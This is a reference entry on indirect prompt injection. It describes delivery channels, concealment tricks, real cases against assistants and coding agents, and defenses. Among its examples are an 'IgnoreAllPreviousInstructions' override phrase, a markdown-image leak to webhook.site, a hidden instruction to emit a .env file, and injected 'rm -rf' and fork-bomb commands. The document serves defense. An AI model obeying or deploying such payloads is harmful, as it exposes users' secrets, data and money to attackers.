Indirect Prompt Injection

Prompt Injection where the payload arrives inside content the model processes for a victim (a web page, email, document, ticket, bank memo, image or DNS record), so the attacker never talks to the model directly. Often called IDPI, XPIA or “second-order” prompt injection.

How it works

  • Any channel whose text lands in the context window is an injection point. Microsoft lists web pages, emails, shared documents, and image, audio and video modalities. If an attacker can control part of the input to an instruction-tuned model, IDPI is possible.
  • The victim’s privileges are borrowed. The model reads the payload while acting for the user, so tool calls run with the user’s identity and data access. This is the confused-deputy shape behind LLM Data Exfiltration and Agentic AI Risks.
  • It is deployment-agnostic. Brave hijacked cloud-hosted Mozilla Tabstack: a “summarize this page” task was redirected to an attacker form, which was then filled with the conversation history. The same team got on-device Cotypist to surface user credentials inline from a poisoned local document.
  • The payload can lie dormant. It fires only when a later, unrelated request pulls the poisoned record into context.

Techniques / payloads

Delivery and concealment (Unit 42, 22 in-the-wild techniques; one page carried 24 labelled injection attempts):

MethodExampleShare of telemetry
Visible plaintextPlain instructions in the body37.8%
HTML attribute cloakingPrompt in alt, title, data-*19.8%
CSS rendering suppressiondisplay:none, visibility:hidden, off-screen positioning16.9%
Zero-sizingfont-size:0px; line-height:0, opacity 0—
Hidden form fieldsStatic payload in a CSS-hidden <textarea>—

Framing: social engineering dominates (85.2%), then JSON/syntax injection (7.0%) and multilingual repetition (2.1%). Obfuscation against regex filters uses zero-width characters between letters, homoglyphs and fragmentation.

Other channels:

  • HTML comments in GitHub issues. <!-- ... --> is invisible when rendered but present in the raw markdown that AI triage bots read (Microsoft Threat Intelligence).
  • Images. In Ghostcommit, an AGENTS.md points to docs/images/build-spec.png. Text rendered in the PNG tells the agent to read .env byte by byte and emit it as integer constants. CodeRabbit’s default config excludes images and Bugbot found nothing.
  • Dependencies. A malicious Go module (github.com/cursorwiz/echo) overwrote AGENTS.md to make the agent insert time.Sleep and doctor PR summaries (NVIDIA).
  • Payment memos. A €0.02 transfer with an injection in its description turned a European bank’s assistant into an in-app spear-phishing channel.
  • Email to support bots. A spoofed From, or multiple From/Sender headers (RFC 822 allows several), makes the agent act as the victim.
  • Infrastructure metadata. A PTR record named IgnoreAllPreviousInstructions made an AI search summary write a poem. Some headers aim at AI clients (x-ai-instructions), but of 217M responses only 30 sites attempted agent orders, and 22 of those were pranks.
  • Malware vs. analyst AI. Gaslight, a macOS stealer, embeds fake system-failure messages so LLM triage agents abort analysis.
  • Court filings. A US pro se plaintiff (sanctioned) and Brazilian law firms (fined) hid white-text instructions aimed at AI document review.

Notable cases

  • Perplexity Comet. Invisible text in a Reddit post hijacked the in-browser summarizer (Lakera, citing Brave). CVE-2025-59944 in Cursor: a case-sensitivity bug in a protected path made the agent read and obey an attacker config.
  • Unit 42 in-the-wild intents: AI ad-review evasion (first seen December 2025), SEO poisoning for phishing, “delete your database”, rm -rf --no-preserve-root plus fork bomb, and forced purchases or donations via buy.stripe.com/paypal.me links (“send $5,000”).
  • Kagi Assistant. A summarized page made Kimi K2.5 append ![pixel](https://webhook.site/ID?leak=...). The unproxied image leaked the victim’s IP with zero clicks. The report was closed N/A and silently fixed.
  • Microsoft 365 Copilot. Covered in EchoLeak and LLM Data Exfiltration.
  • Poisoned knowledge-base file. One billing doc with a fake [SYSTEM NOTICE] turned a support bot into a phishing-link distributor for every billing question. See RAG Poisoning silent-root.

Defenses

  • Spotlighting (Microsoft) marks untrusted text so the model can tell it apart. Three modes: delimiting, datamarking (interleave a marker token through the document) and encoding (base64 the document and tell the model never to follow instructions inside it). This is probabilistic only.
  • Detection: Prompt Shields classifiers and TaskTracker (activation-based). Treat both as signals, not boundaries: see LLM Jailbreaking for classifier evasion.
  • Deterministic controls: block known exfil sinks such as markdown images. Require human consent for side-effecting actions. Use information-flow control (Microsoft FIDES) so tainted context cannot drive privileged tools.
  • Wrap retrieved and tool content with its source and an untrusted label after NFKC normalisation and zero-width stripping, then check output (canary, image-host allowlist, cited-source subset). Plain-language instructions survive cleaning, so the output check is what catches the outcome six layers.
  • Scope retrieval. Keep external email or third-party docs in a separate source from internal data. Treat any AI workflow that reads untrusted GitHub content and holds secrets as high risk.
  • Review non-text assets (images, PDFs) and agent-policy files (AGENTS.md, CLAUDE.md) in PRs. See AI Coding Assistant Risks.

Sources